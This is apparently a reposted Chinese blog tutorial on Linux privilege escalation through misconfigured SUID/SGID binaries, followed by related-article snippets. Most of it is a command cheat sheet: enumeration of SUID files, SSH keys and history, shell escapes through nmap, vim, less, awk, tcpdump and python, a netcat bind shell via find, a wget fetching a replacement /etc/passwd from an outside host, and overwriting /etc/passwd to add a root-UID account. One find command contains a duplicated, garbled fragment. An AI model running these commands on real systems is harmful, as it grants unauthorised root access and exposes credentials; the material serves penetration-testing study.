linux提权-Suid和Guid配置错误

VSole2021-12-31 06:45:59

描述

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping。

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。

以下是一些可用于产生SHELL的程序:

nmap
vim
less
more
nano
cp
mv
find

查找suid和guid文件

Find SUID
find / -perm -u=s -type f 2>/dev/null
Find GUID
find / -perm -g=s -type f 2>/dev/null

其他命令

命令结果find / -perm -4000 -type f 2>/dev/null查找SUID文件find / -uid 0 -perm -4000 -type f 2>/dev/null查找root拥有的SUID文件find / -perm -2000 -type f 2>/dev/null查找SGID文件(粘性位)find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null查找世界可写文件,不包括proc文件find / -type f '(' -name *.cert -or -name *.crt -or -name *.pem -or -name *.ca -or -name *.p12 -or -name *.cer -name *.der ')' '(' '(' -user support -perm -u=r ')' -or '(' -group support -perm -g=r ')' -or '(' -perm -o=r ')' ')' 2> /dev/null-or -name *.cer -name *.der ')' 2> /dev/null查找您可以阅读的密钥或证书find /home –name *.rhosts -print 2>/dev/null查找rhost配置文件find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;查找hosts.equiv,列出权限并管理文件内容cat ~/.bash_history显示当前用户历史记录ls -la ~/.*_history向当前用户分发各种历史文件ls -la ~/.ssh/检查当前用户的ssh文件find /etc -maxdepth 1 -name '*.conf' -type f 要么 ls -la /etc/*.conf在/ etc中列出配置文件(深度1,在第一个命令中修改maxdepth参数以对其进行更改)lsof | grep '/home/\|/etc/\|/opt/'显示可能有趣的打开文件

也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap

find / -perm -u = s -type f 2> / dev / null –查找设置了SUID位的可执行文件
ls -la / usr / local / bin / nmap –让我们确认nmap是否设置了SUID位。

Nmap的SUID位置1。很多时候,管理员将SUID位设置为nmap,以便可以有效地扫描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。

但是,nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特权运行,我们可以通过其交互模式访问'root'shell。

nmap –interactive –运行nmap交互模式
!sh –我们可以从nmap shell转到系统shell

msf中的模块为:

exploit/unix/local/setuid_nmap

较新版可使用 --script 参数:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

find

touch test

 nc 反弹 shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

vi/vim

打开vim,按下ESC

:set shell=/bin/sh
:shell
或者
sudo vim -c '!sh'

bash

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less /etc/passwd
!/bin/sh

more

more /home/pelle/myfile
!/bin/bash

cp

覆盖 /etc/shadow 或 /etc/passwd

 [zabbix@localhost ~]$ cat /etc/passwd >passwd

[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
[zabbix@localhost ~]$ cp passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

mv

覆盖 /etc/shadow 或 /etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
[zabbix@localhost ~]$ mv passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

nano

nano  /etc/passwd

awk

awk 'BEGIN {system("/bin/sh")}'

man

man passwd
!/bin/bash

wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

 apache

仅可查看文件,不能弹 shell:

apache2 -f /etc/shadow

tcpdump

echo $'idcat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

 python -c "import os;os.system('/bin/bash')"

 perl

exec "/bin/bash";
shellroot权限
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言市面的Android模拟器大多为游戏而定制,几乎没有使用原生AOSP并提供root和拓展性(可安装xpo
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
描述SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。
今天实践的是vulnhub的LemonSqueezy镜像,下载地址,https://download.vul
vulnhub之five86的实践
2022-04-05 12:20:23
今天实践的是vulnhub的five86镜像,下载地址, https://download.vulnhub.com/five86/Five86-1.zip, 用workstation导入成功,先做地址扫描, sudo netdiscover -r 192.168.137.0/24,
1.常规内核提权 查看linux内核版本: uname -a 使用searchsploit搜索对应exp,并下载c文件进行编译:
Linux 提权总结
2021-11-15 06:54:08
可见在权限位置有一个s权限。那么这个s的作用是什么呢? 答案是当其他用户执行该文件时,该文件会以root的身份执行。 这里就涉及到了Effective UID和Real UID以及Saved UID Effective UID: 程序实际操作时生效的UID Real UID: 执行该程序的用户的实际UID Saved UID: 在高权限用户降权后,保留的其原本UID (不展开说) 所以
VSole
网络安全专家